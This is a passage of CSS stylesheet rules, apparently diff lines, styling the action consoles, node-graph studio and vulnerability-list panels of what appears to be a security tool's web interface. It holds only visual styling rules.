.chip.run { - color: var(--acid); - border-color: color-mix(in oklab, var(--acid) 60%, transparent); -} - -.actions-container .center { - display: flex; - flex-direction: column; - min-height: 0; - height: 100%; -} - -.actions-container .toolbar2 { - display: flex; - align-items: center; - gap: 10px; - padding: 10px; - border-bottom: 1px solid var(--c-border); - background: var(--c-panel); - flex-wrap: wrap; -} - -.actions-container .seg { - display: flex; - border-radius: 10px; - overflow: hidden; - border: 1px solid var(--c-border); -} - -.actions-container .seg button { - background: var(--c-panel); - color: var(--muted); - padding: 8px 10px; - border: none; - border-right: 1px solid var(--c-border); - cursor: pointer; - font: inherit; -} - -.actions-container .seg button:last-child { - border-right: none; -} - -.actions-container .seg button.active { - color: var(--ink-invert); - background: linear-gradient(90deg, var(--acid-2), color-mix(in oklab, var(--acid-2) 60%, white)); -} - -.actions-container .al-btn { - background: var(--c-btn); - color: var(--ink); - border: 1px solid var(--c-border-strong); - border-radius: var(--control-r, 10px); - padding: 8px 12px; - display: inline-flex; - align-items: center; - gap: 8px; - cursor: pointer; - transition: .18s; - box-shadow: var(--elev); - font: inherit; -} - -.actions-container .al-btn:hover { - transform: translateY(-1px); - box-shadow: var(--shadow-hover); -} - -.actions-container .al-btn.warn { - background: linear-gradient(180deg, color-mix(in oklab, var(--warning) 28%, var(--c-btn)), var(--c-btn)); - color: var(--warning); - border-color: color-mix(in oklab, var(--warning) 55%, var(--c-border)); -} - -.actions-container .multiConsole { - flex: 1; - padding: 10px; - display: grid; - gap: 10px; - height: 100%; - grid-auto-flow: row; - grid-auto-rows: 1fr; - grid-template-rows: repeat(var(--rows, 1), 1fr); -} - -.actions-container .split-1 { - grid-template-columns: 1fr; -} - -.actions-container .split-2 { - grid-template-columns: 1fr 1fr; -} - -.actions-container .split-3 { - grid-template-columns: 1fr 1fr 1fr; -} - -.actions-container .split-4 { - grid-template-columns: 1fr 1fr; -} - -.actions-container .pane { - position: relative; - border: 1px solid var(--c-border); - border-radius: 12px; - background: var(--grad-console); - display: flex; - flex-direction: column; - box-shadow: inset 0 0 0 1px var(--c-border-muted); -} - -.actions-container .paneHeader { - display: grid; - grid-template-columns: 1fr auto; - align-items: center; - gap: 10px; - padding: 8px 10px; - border-bottom: 1px solid var(--c-border); - background: linear-gradient(180deg, color-mix(in oklab, var(--acid-2) 8%, transparent), transparent); -} - -.actions-container .paneTitle { - display: grid; - grid-template-columns: auto auto 1fr; - align-items: center; - gap: 10px; - min-width: 0; -} - -.actions-container .paneTitle .dot { - width: 8px; - height: 8px; - border-radius: 50%; - flex: 0 0 auto; -} - -.actions-container .paneIcon { - width: 70px; - height: 70px; - border-radius: 6px; - object-fit: cover; - opacity: .95; -} - -.actions-container .titleBlock { - display: flex; - flex-direction: column; - gap: 4px; - min-width: 0; -} - -.actions-container .titleLine strong { - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; -} - -.actions-container .metaLine { - display: flex; - flex-wrap: wrap; - gap: 6px; -} - -.actions-container .metaLine .chip { - border: 1px solid var(--c-border-strong); - background: var(--c-chip-bg); - color: var(--muted); - padding: 3px 8px; - border-radius: 999px; -} - -.actions-container .paneBtns { - display: flex; - flex-wrap: wrap; - gap: 8px; - justify-content: flex-end; -} - -.actions-container .paneBtns .al-btn { - padding: 6px 8px; - font-size: .9rem; -} - -.actions-container .paneLog { - flex: 1; - overflow: auto; - padding: 6px 8px; - font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, "Liberation Mono", monospace; - font-size: .92rem; -} - -.actions-container .logline { - white-space: pre-wrap; - word-break: break-word; - padding: 4px 6px; - line-height: 1.32; - color: var(--ink); -} - -.actions-container .logline.info { - color: #bfefff; -} - -.actions-container .logline.ok { - color: #9ff7c5; -} - -.actions-container .logline.warn { - color: #ffd27a; -} - -.actions-container .logline.err { - color: #ff99b3; -} - -.actions-container .logline.dim { - color: #6a8596; -} - -.actions-container .paneHighlight { - box-shadow: 0 0 0 2px var(--acid-2), 0 0 24px color-mix(in oklab, var(--acid-2) 55%, transparent) inset, 0 0 40px color-mix(in oklab, var(--acid-2) 35%, transparent); - animation: al-hi 900ms ease-out 1; -} - -@keyframes al-hi { - 0% { - transform: scale(1); - } - - 50% { - transform: scale(1.01); - } - - 100% { - transform: scale(1); - } -} - -.actions-container .section { - padding: 12px; - border-bottom: 1px dashed var(--c-border); -} - -.actions-container .h { - font-weight: 800; - letter-spacing: .5px; - color: var(--acid-2); -} - -.actions-container .sub { - color: var(--muted); - font-size: .9rem; -} - -.actions-container .builder { - padding: 12px; - display: grid; - gap: 12px; -} - -.actions-container .field { - display: grid; - gap: 6px; -} - -.actions-container .label { - font-size: .85rem; - color: var(--muted); -} - -.actions-container .ctl, -.actions-container .select, -.actions-container .range { - background: var(--c-panel); - color: var(--ink); - border: 1px solid var(--c-border-strong); - border-radius: var(--control-r, 10px); - padding: 10px 12px; - font: inherit; -} - -.actions-container .ctl:focus, -.actions-container .select:focus { - outline: none; - box-shadow: 0 0 0 2px color-mix(in oklab, var(--acid) 55%, transparent) inset; -} - -.actions-container .chips { - display: flex; - gap: 8px; - flex-wrap: wrap; - padding: 10px; -} - -.actions-container .chip2 { - padding: 6px 10px; - border-radius: 999px; - background: var(--c-chip-bg); - border: 1px solid var(--c-border-hi); - cursor: pointer; - transition: .18s; -} - -.actions-container .chip2:hover { - box-shadow: 0 0 0 1px var(--c-border-hi) inset, 0 8px 22px var(--glow-weak); -} - -@media (max-width: 860px) { - .actions-container #actionsLauncher { - grid-template-columns: 1fr; - } - - .actions-container .toolbar2 { - display: none !important; - } - - .actions-container .paneHeader { - grid-template-columns: 1fr; - row-gap: 8px; - } - - .actions-container .paneBtns { - justify-content: flex-start; - } - - .actions-container .paneBtns .al-btn { - padding: 5px 6px; - font-size: .85rem; - } -} - -/* ═══════════════════════════════════════════════════════════════════════ - ACTIONS STUDIO (.studio-container) - ═══════════════════════════════════════════════════════════════════════ */ -.studio-container { - --st-bg: #060c12; - --st-panel: #0a1520; - --st-card: #0b1c2a; - --st-card2: #0d2132; - --st-text: #e9f3ff; - --st-muted: #9fb4c9; - --st-border: #203448; - --st-neon: #66ffd1; - --st-neon2: #57c9ff; - --st-ok: #30db98; - --st-bad: #ff6b7c; - --st-warn: #ffd166; - --st-edge: #2a557a; - --st-global: #7040ff; - --st-host: #25be7b; - --st-tap: 44px; - --studio-header-h: 52px; - background: var(--st-bg); - color: var(--st-text); - font: 14px/1.35 Inter, system-ui, -apple-system, Segoe UI, Roboto, sans-serif; - overflow: hidden; - height: 100%; -} - -.studio-container #app { - display: grid; - grid-template-rows: auto 1fr auto; - height: 100%; -} - -.studio-container header { - display: flex; - align-items: center; - gap: .5rem; - padding: .6rem .8rem; - min-height: var(--studio-header-h); - background: color-mix(in oklab, var(--st-panel) 95%, #050b12 5%); - border-bottom: 1px solid var(--st-border); - backdrop-filter: blur(8px); - z-index: 20; -} - -.studio-container .logo { - width: 22px; - height: 22px; - border-radius: 6px; - background: conic-gradient(from 210deg, var(--st-neon), var(--st-neon2)); - box-shadow: 0 0 32px rgba(90, 255, 200, .22); -} - -.studio-container h1 { - font-size: 15px; - letter-spacing: .3px; -} - -.studio-container .sp { - flex: 1; -} - -.studio-container .btn { - display: inline-flex; - align-items: center; - justify-content: center; - gap: .45rem; - padding: .48rem .7rem; - border-radius: 12px; - background: #0c2132; - border: 1px solid var(--st-border); - color: var(--st-text); - cursor: pointer; - font-size: 13px; - transition: all .2s; - min-height: var(--st-tap); -} - -.studio-container .btn:hover { - transform: translateY(-1px); - background: #0e2437; -} - -.studio-container .btn:active { - transform: scale(.98); -} - -.studio-container .btn.primary { - background: linear-gradient(180deg, #0e2f25, #0b241d); - border-color: #1d5a45; - color: var(--st-neon); -} - -.studio-container .btn.icon { - width: var(--st-tap); - padding: 0; -} - -.studio-container main { - display: grid; - grid-template-columns: 320px 1fr 360px; - gap: 8px; - padding: 8px; - min-height: 0; - height: 100%; -} - -.studio-container .studio-side-backdrop { - display: none; - position: fixed; - inset: var(--h-topbar, 56px) 0 var(--h-bottombar, 56px) 0; - z-index: 2150; - border: 0; - margin: 0; - padding: 0; - background: rgba(0, 0, 0, .52); -} - -@media (max-width:1100px) { - .studio-container { - --studio-header-h: 46px; - } - - .studio-container header { - min-height: var(--studio-header-h); - padding: 6px 8px; - gap: 6px; - position: relative; - z-index: 2300; - } - - .studio-container h1 { - font-size: 14px; - max-width: 34vw; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; - } - - .studio-container .logo { - width: 18px; - height: 18px; - } - - .studio-container main { - grid-template-columns: 1fr; - grid-template-rows: 1fr auto; - gap: 8px; - height: auto; - } - - .studio-container #left, - .studio-container #right { - position: fixed; - z-index: 2200; - top: var(--h-topbar, 56px); - bottom: var(--h-bottombar, 56px); - width: min(90vw, 420px); - max-width: 420px; - transition: transform .25s ease, opacity .25s; - opacity: .98; - } - - .studio-container #left { - left: 0; - transform: translateX(-120%); - } - - .studio-container #left.open { - transform: translateX(0); - } - - .studio-container #right { - right: 0; - transform: translateX(120%); - } - - .studio-container #right.open { - transform: translateX(0); - } - - .studio-container #btnPal, - .studio-container #btnIns { - position: fixed; - top: auto; - bottom: calc(var(--h-bottombar, 56px) + 14px); - z-index: 82; - width: 38px; - height: 38px; - min-width: 38px; - min-height: 38px; - padding: 0; - border-radius: 999px; - border: 1px solid var(--c-border-strong); - background: color-mix(in oklab, var(--c-panel) 94%, transparent); - color: var(--ink); - box-shadow: 0 6px 16px rgba(0, 0, 0, .28); - opacity: .88; - } - - .studio-container #btnPal { - left: 10px; - } - - .studio-container #btnIns { - right: 10px; - } - - .studio-container #btnPal:hover, - .studio-container #btnIns:hover { - opacity: 1; - transform: translateY(-1px); - } - - .studio-container #btnPal, - .studio-container #btnIns, - .studio-container #btnAutoLayout, - .studio-container #btnRepel, - .studio-container #btnHelp, - .studio-container #btnApply { - display: none; - } - - .studio-mobile-dock { - display: flex; - } - - .studio-container footer { - display: none; - } - - .studio-toast { - bottom: calc(var(--h-bottombar, 56px) + 104px); - } - - .studio-container .studio-side-backdrop.show { - display: block; - } -} - -.studio-container #left { - background: var(--st-panel); - border: 1px solid var(--st-border); - border-radius: 12px; - display: flex; - flex-direction: column; - min-height: 0; - overflow: hidden; -} - -.studio-container .tabs { - display: flex; - gap: 4px; - padding: 8px; - border-bottom: 1px solid var(--st-border); -} - -.studio-container .tab { - padding: 6px 12px; - border-radius: 10px; - background: var(--st-card); - border: 1px solid transparent; - cursor: pointer; - font-size: 13px; -} - -.studio-container .tab.active { - background: var(--st-card2); - border-color: var(--st-neon2); - color: var(--st-neon2); -} - -.studio-container .tab-content { - flex: 1; - padding: 10px; - overflow: auto; - display: none; -} - -.studio-container .tab-content.active { - display: block; -} - -.studio-container h2 { - margin: .2rem 0 .6rem; - font-size: 12px; - color: var(--st-muted); - letter-spacing: .2px; - text-transform: uppercase; -} - -.studio-container .search-row { - position: relative; - margin-bottom: 10px; -} - -.studio-container input.search { - width: 100%; - background: #0a1f2e; - color: var(--st-text); - border: 1px solid var(--st-border); - border-radius: 12px; - padding: .6rem 2.1rem .6rem .7rem; - margin-bottom: 0; - font-size: 14px; -} - -.studio-container .search-clear { - position: absolute; - right: 6px; - top: 50%; - transform: translateY(-50%); - width: 26px; - height: 26px; - border-radius: 999px; - border: 1px solid var(--st-border); - background: #0f2536; - color: var(--st-muted); - cursor: pointer; - display: none; -} - -.studio-container .search-clear.show { - display: inline-flex; - align-items: center; - justify-content: center; -} - -.studio-container .search-clear:hover { - color: var(--st-text); - border-color: color-mix(in oklab, var(--st-neon2) 45%, var(--st-border)); -} - -.studio-container .palette-meta { - display: flex; - gap: 6px; - flex-wrap: wrap; - margin-bottom: 10px; -} - -.studio-container .palette-meta .pill { - font-size: 10px; - padding: .2rem .48rem; -} - -.studio-container .pitem { - border: 1px solid var(--st-border); - background: #0a1b2a; - border-radius: 12px; - padding: 10px; - display: flex; - justify-content: space-between; - gap: 8px; - align-items: center; - user-select: none; - margin-bottom: 6px; - cursor: grab; - transition: all .2s; -} - -.studio-container .pitem:active { - cursor: grabbing; -} - -.studio-container .pitem:hover { - transform: translateX(2px); - background: #0c1e2d; -} - -.studio-container .pitem.placed { - opacity: .55; -} - -.studio-container .pmeta { - font-size: 12px; - color: var(--st-muted); -} - -.studio-container .padd { - border: 1px solid var(--st-border); - background: #0b2437; - border-radius: 10px; - padding: .35rem .6rem; - font-size: 12px; - cursor: pointer; -} - -.studio-container .padd:hover { - background: var(--st-neon2); - color: var(--st-bg); - transform: scale(1.05); -} - -.studio-container .action-icon { - width: 24px; - height: 24px; - border-radius: 6px; - margin-right: 8px; - object-fit: cover; -} - -.studio-container .host-card { - border: 1px solid var(--st-border); - background: linear-gradient(135deg, #0b1e2c, #0a1b2a); - border-radius: 12px; - padding: 10px; - margin-bottom: 6px; - cursor: grab; -} - -.studio-container .host-card:active { - cursor: grabbing; -} - -.studio-container .host-card.simulated { - border-color: var(--st-neon2); - background: linear-gradient(135deg, #0b2233, #0a1f2e); -} - -.studio-container .host-card .row { - display: flex; - gap: 6px; - flex-wrap: wrap; - align-items: center; - font-size: 12px; - margin-top: 4px; -} - -.studio-container .host-card .row .btn { - padding: .25rem .5rem; - font-size: 11px; -} - -.studio-container #center { - position: relative; - border: 1px solid var(--st-border); - border-radius: 12px; - background: radial-gradient(1200px 800px at 0% 0%, #0a1827 0%, #060c12 60%), #060c12; - overflow: hidden; - touch-action: none; -} - -.studio-container #bggrid { - position: absolute; - inset: 0; - background-image: linear-gradient(#0f2b3f 1px, transparent 1px), linear-gradient(90deg, #0f2b3f 1px, transparent 1px); - background-size: 40px 40px; - opacity: .18; - pointer-events: none; -} - -.studio-container #canvas { - position: absolute; - left: 0; - top: 0; - transform-origin: 0 0; -} - -.studio-container #nodes { - position: absolute; - left: 0; - top: 0; - width: 4000px; - height: 3000px; -} - -.studio-container #links { - position: absolute; - left: 0; - top: 0; - width: 4000px; - height: 3000px; - overflow: visible; - pointer-events: auto; -} - -.studio-container #controls { - position: absolute; - right: 10px; - bottom: 10px; - display: flex; - flex-direction: column; - gap: 6px; - z-index: 5; -} - -.studio-container .canvas-hint { - position: absolute; - left: 10px; - right: 72px; - bottom: 10px; - z-index: 6; - display: flex; - align-items: center; - gap: 8px; - padding: 8px 10px; - border-radius: 12px; - border: 1px solid var(--st-border); - background: color-mix(in oklab, #07111a 78%, transparent); - color: var(--st-muted); - backdrop-filter: blur(8px); - box-shadow: 0 6px 18px rgba(0, 0, 0, .25); -} - -.studio-container .canvas-hint strong { - color: var(--st-text); - font-size: 12px; -} - -.studio-container .canvas-hint span { - font-size: 12px; -} - -.studio-container .canvas-hint.hidden { - display: none; -} - -.studio-container .canvas-hint .btn.icon { - margin-left: auto; - width: 28px; - min-height: 28px; - border-radius: 999px; -} - -.studio-container .ctrl { - width: 44px; - height: 44px; - border-radius: 12px; - border: 1px solid var(--st-border); - background: #0a1f2e; - color: var(--st-text); - cursor: pointer; - transition: all .2s; -} - -.studio-container .ctrl:hover { - background: #0c2437; - transform: scale(1.05); -} - -.studio-container .ctrl:active { - transform: scale(.97); -} - -.studio-container .node { - position: absolute; - min-width: 240px; - max-width: 320px; - color: var(--st-text); - background: linear-gradient(180deg, var(--st-card) 0%, var(--st-card2) 100%); - border: 2px solid var(--st-border); - border-radius: 12px; - box-shadow: 0 12px 32px rgba(0, 0, 0, .28); - transition: transform .2s, box-shadow .2s, min-height .2s; - cursor: grab; -} - -.studio-container .node:active { - cursor: grabbing; -} - -.studio-container .node:hover { - transform: translateY(-2px); - box-shadow: 0 16px 40px rgba(0, 0, 0, .4); -} - -.studio-container .node.sel { - outline: 2px solid var(--st-neon); - outline-offset: 2px; -} - -.studio-container .nhdr { - display: flex; - align-items: center; - justify-content: space-between; - gap: 6px; - padding: 8px 10px; - border-bottom: 1px solid var(--st-border); - background: rgba(0, 0, 0, .2); - border-radius: 10px 10px 0 0; -} - -.studio-container .nname { - font-weight: 700; - font-size: 13px; - letter-spacing: .2px; - display: flex; - align-items: center; - gap: 6px; -} - -.studio-container .node-icon { - width: 20px; - height: 20px; - border-radius: 4px; - object-fit: cover; -} - -.studio-container .badge { - font-size: 11px; - color: #97e8ff; - background: #0b2b3f; - border: 1px solid #214b67; - padding: .14rem .45rem; - border-radius: 999px; -} - -.studio-container .nbody { - padding: 8px 10px; - display: grid; - gap: 6px; - font-size: 12px; - color: var(--st-muted); -} - -.studio-container .row { - display: flex; - gap: 8px; - align-items: center; - flex-wrap: wrap; -} - -.studio-container .k { - color: #7fa6c4; -} - -.studio-container .v { - color: var(--st-text); -} - -.studio-container .nclose { - border: none; - background: transparent; - color: #9fb4c9; - font-size: 16px; - cursor: pointer; - opacity: 0; - transition: opacity .2s; -} - -.studio-container .node:hover .nclose { - opacity: 1; -} - -.studio-container .host .badge { - color: #9effc5; - background: #0f2a22; - border-color: #1f604b; -} - -.studio-container .host { - background: linear-gradient(180deg, #0c241b, #0d2732); - border-color: var(--st-host); -} - -.studio-container .global .badge { - color: #e6ddff; - background: #1b1335; - border-color: #4a3cb0; -} - -.studio-container .global { - border-color: var(--st-global); -} - -.studio-container .bjorn { - min-width: 120px; - max-width: 140px; - border-radius: 12px; - overflow: hidden; -} - -.studio-container .bjorn .nhdr { - border-bottom: none; - background: linear-gradient(180deg, #1a1a2e, #16213e); -} - -.studio-container .rail { - position: absolute; - top: 10px; - bottom: 10px; - width: 18px; - border-radius: 10px; - border: 1px solid var(--st-border); - background: #0a1f2e; - display: flex; - flex-direction: column; - align-items: center; - gap: 6px; - padding: 6px; - cursor: crosshair; - z-index: 3; -} - -.studio-container .rail.left { - left: -10px; -} - -.studio-container .rail.right { - right: -10px; - background: #0f2a22; - border-color: #1f604b; -} - -.studio-container .port { - width: 10px; - height: 10px; - border: 2px solid #0a1120; - border-radius: 50%; - background: var(--st-neon2); - box-shadow: 0 0 10px rgba(88, 201, 255, .5); -} - -.studio-container .rail.right .port { - background: var(--st-neon); -} - -.studio-container .port.add { - opacity: .5; - outline: 1px dashed #31597b; -} - -.studio-container svg { - pointer-events: none; -} - -.studio-container .path { - fill: none; - stroke: var(--st-edge); - stroke-width: 2.5; - opacity: .95; - pointer-events: stroke; - cursor: pointer; - transition: all .2s; -} - -.studio-container .path:hover { - stroke-width: 3.5; - opacity: 1; -} - -.studio-container .path.ok { - stroke: var(--st-ok); -} - -.studio-container .path.bad { - stroke: var(--st-bad); -} - -.studio-container .path.req { - stroke: var(--st-neon2); -} - -.studio-container .path.flow { - stroke-dasharray: 6 9; - animation: as-flow 1.5s linear infinite; -} - -@keyframes as-flow { - to { - stroke-dashoffset: -60; - } -} - -.studio-container .edgelabel { - font-size: 11px; - fill: #d7ebff; - paint-order: stroke; - stroke: #0c1724; - stroke-width: 3px; - cursor: pointer; - pointer-events: all; -} - -.studio-container .edgelabel.bad { - fill: #ffd4da; -} - -.studio-container .edgelabel.ok { - fill: #c8ffe7; -} - -.studio-container .edgelabel.req { - fill: #d7e2ff; -} - -.studio-container #right { - background: var(--st-panel); - border: 1px solid var(--st-border); - border-radius: 12px; - padding: 10px; - display: flex; - flex-direction: column; - gap: 10px; - min-height: 0; - overflow: auto; -} - -.studio-container .section { - background: #0b1d2b; - border: 1px solid var(--st-border); - border-radius: 12px; - padding: 10px; -} - -.studio-container .section h3 { - margin: .2rem 0 .6rem; - font-size: 13px; - color: var(--st-muted); -} - -.studio-container label { - display: flex; - flex-direction: column; - gap: .3rem; - margin: .45rem 0; -} - -.studio-container label span { - font-size: 12px; - color: var(--st-muted); -} - -.studio-container input, -.studio-container select, -.studio-container textarea { - background: #0a1f2e; - color: var(--st-text); - border: 1px solid var(--st-border); - border-radius: 10px; - padding: .6rem .65rem; - font: inherit; - outline: none; - transition: all .2s; - min-height: 40px; -} - -.studio-container input:focus, -.studio-container select:focus, -.studio-container textarea:focus { - border-color: var(--st-neon2); - box-shadow: 0 0 0 2px rgba(87, 201, 255, 0.2); -} - -.studio-container textarea { - min-height: 86px; - resize: vertical; -} - -.studio-container .small { - font-size: 12px; - color: var(--st-muted); -} - -.studio-container .pill { - display: inline-flex; - gap: 6px; - align-items: center; - padding: .14rem .5rem; - border-radius: 999px; - border: 1px solid var(--st-border); - background: #0b2233; - font-size: 11px; -} - -.studio-container hr { - border: none; - border-top: 1px solid var(--st-border); - margin: .6rem 0; -} - -.studio-container .form-row { - display: grid; - grid-template-columns: 1fr 1fr; - gap: 10px; -} - -@media (max-width:600px) { - .studio-container .form-row { - grid-template-columns: 1fr; - } -} - -.studio-container footer { - display: flex; - align-items: center; - justify-content: space-between; - gap: 10px; - padding: 8px; - border-top: 1px solid var(--st-border); - background: linear-gradient(90deg, rgba(10, 23, 34, .6), rgba(6, 16, 24, .8)); - font-size: 12px; - color: var(--st-muted); -} - -.studio-container footer { - flex-wrap: wrap; - justify-content: flex-start; -} - -.studio-container .menu .item:hover { - background: color-mix(in oklab, var(--st-neon2) 16%, transparent); -} - -.studio-container #mainMenu { - z-index: 2400 !important; -} - -.studio-container .modal { - display: none; - position: fixed; - inset: 0; - background: rgba(0, 0, 0, .8); - z-index: 2500; - align-items: center; - justify-content: center; -} - -.studio-container .modal.show { - display: flex; -} - -.studio-container .modal-content { - background: var(--st-panel); - border: 1px solid var(--st-border); - border-radius: 16px; - padding: 20px; - max-width: 560px; - width: 92vw; - max-height: 90vh; - overflow: auto; -} - -.studio-container .modal-header { - display: flex; - justify-content: space-between; - align-items: center; - margin-bottom: 16px; -} - -.studio-container .modal-title { - font-size: 18px; - font-weight: 600; -} - -.studio-container .modal-close { - background: none; - border: none; - color: #fff; - font-size: 24px; - cursor: pointer; -} - -.studio-container #helpModal .section { - margin-bottom: 10px; -} - -.studio-container #helpModal .section .small { - display: block; - margin: 5px 0; -} - -.studio-container .edge-menu { - position: fixed; - background: var(--st-card); - border: 1px solid var(--st-border); - border-radius: 12px; - padding: 6px; - box-shadow: 0 8px 24px rgba(0, 0, 0, .4); - z-index: 2550; - display: none; -} - -.studio-container .edge-menu.show { - display: block; -} - -.studio-container .edge-menu-item { - padding: 10px 12px; - border-radius: 8px; - cursor: pointer; - font-size: 13px; -} - -.studio-container .edge-menu-item:hover { - background: #0b2233; -} - -.studio-container .edge-menu-item.danger { - color: var(--st-bad); -} - -.studio-mobile-dock { - display: none; - position: fixed; - left: 10px; - right: 10px; - bottom: calc(var(--h-bottombar, 56px) + 8px); - z-index: 2250; - gap: 6px; - align-items: center; - justify-content: space-between; - padding: 8px; - border: 1px solid var(--st-border); - border-radius: 14px; - background: color-mix(in oklab, #08131d 90%, transparent); - box-shadow: 0 10px 24px rgba(0, 0, 0, .35); - backdrop-filter: blur(8px); -} - -.studio-mobile-dock .btn { - min-height: 34px; - padding: .35rem .6rem; - font-size: 12px; -} - -.studio-mobile-stats { - color: var(--st-muted); - font-size: 11px; - min-width: 56px; - text-align: center; -} - -.studio-toast { - position: fixed; - right: 12px; - bottom: calc(var(--h-bottombar, 56px) + 74px); - z-index: 2800; - min-width: 180px; - max-width: min(92vw, 380px); - padding: 10px 14px; - border-radius: 10px; - border: 1px solid var(--st-border); - background: color-mix(in oklab, #0b1620 92%, transparent); - color: var(--st-text); - box-shadow: 0 8px 20px rgba(0, 0, 0, .32); - transition: opacity .25s ease; - opacity: 0; -} - -.studio-toast.success { - border-color: color-mix(in oklab, var(--ok) 60%, transparent); -} - -.studio-toast.error { - border-color: color-mix(in oklab, var(--danger) 60%, transparent); -} - -.studio-toast.warn { - border-color: color-mix(in oklab, var(--warning) 60%, transparent); -} - -@media (max-width:960px) { - .studio-container header { - flex-wrap: nowrap; - overflow: visible; - min-height: 44px; - padding: 6px 8px; - } - - .studio-container h1 { - white-space: nowrap; - } - - .studio-container .logo { - width: 18px; - height: 18px; - } - - .studio-container .canvas-hint { - right: 10px; - bottom: calc(var(--h-bottombar, 56px) + 58px); - } - - .studio-container #controls { - bottom: calc(var(--h-bottombar, 56px) + 58px); - } - - .studio-toast { - bottom: calc(var(--h-bottombar, 56px) + 108px); - } -} - -@media (max-width:640px) { - .studio-container footer { - display: none; - } - - .studio-container footer .pill:nth-child(4), - .studio-container footer .pill:nth-child(5) { - display: none; - } - - .studio-container .canvas-hint { - bottom: calc(var(--h-bottombar, 56px) + 58px); - } - - .studio-container .canvas-hint span { - display: none; - } - - .studio-mobile-dock .btn { - padding: .34rem .5rem; - min-width: 62px; - } -} - -/* ========================================================================== - SPA runtime compatibility (module class names) - Keeps old visual language while matching current JS markup. - ========================================================================== */ - -/* ---- Vulnerabilities module aliases ---- */ -.vuln-container .stats-bar { - display: grid; - grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); - gap: var(--gap-4); - margin-bottom: var(--gap-3); -} - -.vuln-container .stats-bar .stat-item { - background: var(--grad-card); - border-radius: var(--radius); - padding: var(--gap-4); - text-align: center; - border: 1px solid var(--c-border); - box-shadow: var(--elev); - display: grid; - gap: 6px; - justify-items: center; -} - -.vuln-container .stats-bar .stat-value { - font-size: 28px; - font-weight: 800; - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - -webkit-background-clip: text; - -webkit-text-fill-color: transparent; -} - -.vuln-container .vuln-controls { - background: var(--grad-card); - border-radius: var(--radius); - padding: var(--gap-4); - margin-bottom: var(--gap-3); - display: flex; - flex-wrap: wrap; - gap: var(--gap-3); - align-items: center; - border: 1px solid var(--c-border); - box-shadow: var(--elev); -} - -.vuln-container .vuln-buttons { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.vuln-container .global-search-container { - flex: 1; - min-width: 220px; - position: relative; -} - -.vuln-container .global-search-input { - width: 100%; - height: var(--control-h); - padding: 0 36px 0 var(--control-pad-x); - border: 1px solid var(--c-border-strong); - border-radius: var(--control-r); - background: var(--c-panel); - color: var(--ink); -} - -.vuln-container .global-search-input:focus { - outline: none; - border-color: var(--accent); - box-shadow: 0 0 0 2px color-mix(in oklab, var(--accent) 28%, transparent); -} - -.vuln-container .clear-global-button { - position: absolute; - right: 8px; - top: 50%; - transform: translateY(-50%); - border: none; - background: none; - color: var(--danger); - cursor: pointer; - display: none; -} - -.vuln-container .clear-global-button.show { - display: inline-block; -} - -.vuln-container .vuln-btn { - border: 1px solid var(--c-border); - background: var(--c-panel); - color: var(--ink); - border-radius: var(--control-r); - padding: 8px 12px; - cursor: pointer; -} - -.vuln-container .vuln-btn.active { - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - border-color: var(--accent); - color: var(--white); -} - -.vuln-container .vuln-severity-bar { - display: flex; - gap: var(--gap-2); - flex-wrap: wrap; - margin-bottom: var(--gap-3); -} - -.vuln-container .vuln-severity-btn { - border: 1px solid var(--c-border); - background: var(--c-panel); - color: var(--ink); - border-radius: 999px; - padding: 5px 12px; - font-weight: 700; - cursor: pointer; -} - -.vuln-container .vuln-severity-btn.active { - box-shadow: 0 0 0 1px var(--c-border-hi) inset; -} - -.vuln-container .vuln-severity-btn.severity-critical.active { - background: var(--danger); - border-color: var(--danger); - color: var(--white); -} - -.vuln-container .vuln-severity-btn.severity-high.active { - background: var(--warning); - border-color: var(--warning); - color: var(--ink-invert); -} - -.vuln-container .vuln-severity-btn.severity-medium.active { - background: var(--accent-2); - border-color: var(--accent-2); - color: var(--ink-invert); -} - -.vuln-container .vuln-severity-btn.severity-low.active { - background: var(--ok); - border-color: var(--ok); - color: var(--ink-invert); -} - -.vuln-container .services-grid { - display: grid; - gap: var(--gap-4); - max-height: calc(100vh - 250px); - overflow-y: auto; -} - -.vuln-container .vuln-card-header { - padding: var(--gap-4); - background: var(--grad-quickpanel); - display: flex; - justify-content: space-between; - align-items: center; - gap: 10px; - cursor: pointer; - user-select: none; - border-bottom: 1px solid var(--c-border); -} - -.vuln-container .vuln-card-title { - display: flex; - align-items: center; - gap: var(--gap-3); - flex-wrap: wrap; - flex: 1; -} - -.vuln-container .collapse-indicator { - color: var(--muted); - transition: transform .3s ease; - font-size: 18px; -} - -.vuln-container .vuln-card.expanded .collapse-indicator { - transform: rotate(180deg); -} - -.vuln-container .vuln-content { - max-height: 0; - overflow: hidden; - transition: max-height .3s ease-out; -} - -.vuln-container .vuln-card.expanded .vuln-content { - max-height: 2400px; -} - -.vuln-container .vuln-detail-section { - margin-bottom: var(--gap-4); - padding: 0 var(--gap-4); -} - -.vuln-container .detail-text { - color: var(--ink); - font-size: 14px; - line-height: 1.5; -} - -.vuln-container .vuln-tag { - padding: 2px 8px; - border-radius: 999px; - font-size: 10px; - font-weight: 800; - text-transform: uppercase; - letter-spacing: .3px; - border: 1px solid var(--c-border); - background: var(--c-chip-bg); -} - -.vuln-container .vuln-tag.remediated { - background: color-mix(in oklab, var(--ok) 18%, var(--c-chip-bg)); - border-color: color-mix(in oklab, var(--ok) 40%, var(--c-border)); -} - -.vuln-container .vuln-tag.kev { - background: color-mix(in oklab, var(--danger) 18%, var(--c-chip-bg)); - border-color: color-mix(in oklab, var(--danger) 40%, var(--c-border)); -} - -.vuln-container .vuln-tag.exploit { - background: color-mix(in oklab, #9c27b0 18%, var(--c-chip-bg)); - border-color: color-mix(in oklab, #9c27b0 40%, var(--c-border)); -} - -.vuln-container .vuln-tag.epss { - background: color-mix(in oklab, var(--warning) 18%, var(--c-chip-bg)); - border-color: color-mix(in oklab, var(--warning) 40%, var(--c-border)); -} - -.vuln-container .vuln-pagination { - display: flex; - justify-content: center; - align-items: center; - gap: 8px; - margin-top: var(--gap-4); - padding: var(--gap-3); - flex-wrap: wrap; -} - -.vuln-container .vuln-page-btn { - border: 1px solid var(--c-border); - background: var(--c-panel); - color: var(--ink); - border-radius: 10px; - padding: 6px 10px; - cursor: pointer; -} - -.vuln-container .vuln-page-btn.active { - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - 